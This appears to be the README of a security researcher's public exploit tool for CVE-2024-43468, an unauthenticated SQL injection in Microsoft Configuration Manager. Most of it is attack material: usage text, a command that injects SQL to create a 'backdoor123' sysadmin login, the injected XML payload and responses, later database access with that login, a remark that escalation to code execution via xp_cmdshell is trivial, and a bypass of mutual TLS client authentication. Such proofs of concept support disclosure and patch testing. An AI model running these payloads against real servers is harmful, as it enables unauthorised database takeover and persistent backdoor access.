synacktiv/cve-2024-43468
This script exploits the CVE-2024-43468 that allows an unauthenticated attacker, with network access to a Management Point, to execute arbitrary SQL queries on the site database.
As queries are executed as the MP machine account identity, granted the sysadmin role, it is trivial to escalate the SQL injection to remote code execution (with xp_cmdshell for example).
When KB29166583 is missing, all the following Microsoft Configuration Manager versions are vulnerable:
For more details, please refer to the associated advisory available at https://www.synacktiv.com/advisories/microsoft-configuration-manager-configmgr-2403-unauthenticated-sql-injections
--altauth switch (more information here)$ python3 CVE-2024-43468.py --help
usage: CVE-2024-43468.py [-h] -t TARGET -sql SQL [-machineid MACHINEID] -k KEY -c CERT
SCCM LocationMgr (MP_Location) Unauthenticated SQL injections - CVE-2024-43468
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target (http[s]://sccm-mp.local/)
-sql SQL Query to execute through the MachineID SQL injection (e.g create login user123 with password = 'p4sswOrd' ; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin' )
-machineid MACHINEID A valid MachineID for the second SQL injection via ContentID
-k KEY, --key KEY Private key file for mutual TLS
-c CERT, --cert CERT Certificate file for mutual TLS
$ python3 CVE-2024-43468.py -t http://sccm.local -sql "create login backdoor123 with password = 'P@sswOrd1'; exec master.dbo.sp_addsrvrolemember 'backdoor123', 'sysadmin'"
>>>> Header <<<<<
<Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="556" Offset="0" /><CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID><Hooks><Hook3 Name="zlib-compress" /></Hooks><ID>{00000000-0000-0000-0000-000000000000}</ID><Payload Type="inline"/><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:dummyEndpoint:LS_ReplyLocations</ReplyTo><TargetAddress>mp:[http]MP_LocationManager</TargetAddress><TargetEndpoint>MP_LocationManager</TargetEndpoint><TargetHost>http://sccm.local</TargetHost><Timeout>60000</Timeout><SourceID>GUID:3b47a05a-db2e-40ef-8c77-cf29dac2ca1e'; create login backdoor123 with password = 'P@sswOrd1'; exec master.dbo.sp_addsrvrolemember 'backdoor123', 'sysadmin' ; select '1 </SourceID></Msg>
>>>> Request <<<<<
<UpdateSFRequest><Package ID="UID:060cb19a-4dde-4c6a-b08b-7fee96c4824b" Version="1"></Package><ClientLocationInfo><BoundaryGroups><BoundaryGroup GroupID="1" GroupGUID="00000000-0000-0000-0000-000000000000" GroupFlag="0"/></BoundaryGroups></ClientLocationInfo></UpdateSFRequest>
>>>> Response : 200 <<<<<
--aAbBcCdDv1234567890VxXyYzZ
content-type: text/plain; charset=UTF-16
ÿþNoReply
--aAbBcCdDv1234567890VxXyYzZ--
$ mssqlclient.py -debug './backdoor123:P@sswOrd1'@sccm-db.local
SQL (backdoor123 dbo@master)> use CM_ABC
SQL (backdoor123 dbo@CM_ABC)> select Name0 from v_R_System
Name0
------
DC
$ python3 CVE-2024-43468.py -t https://sccm.local -sql "..."
[...]
>>>> Response : 403 Client certificate required <<<<<
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
$ python3 CVE-2024-43468.py -k any_client1.key -c any_client1.pem -t https://sccm.local -sql "..."
>>>> Response : 200 <<<<<
--aAbBcCdDv1234567890VxXyYzZ
content-type: text/plain; charset=UTF-16
ÿþNoReply
--aAbBcCdDv1234567890VxXyYzZ--
Bypass the mTLS authentication with the altauth segment (more information here)
$ python3 CVE-2024-43468.py --altauth -t https://sccm.local -sql "..."
>>>> Response : 200 <<<<<
--aAbBcCdDv1234567890VxXyYzZ
content-type: text/plain; charset=UTF-16
ÿþNoReply
--aAbBcCdDv1234567890VxXyYzZ--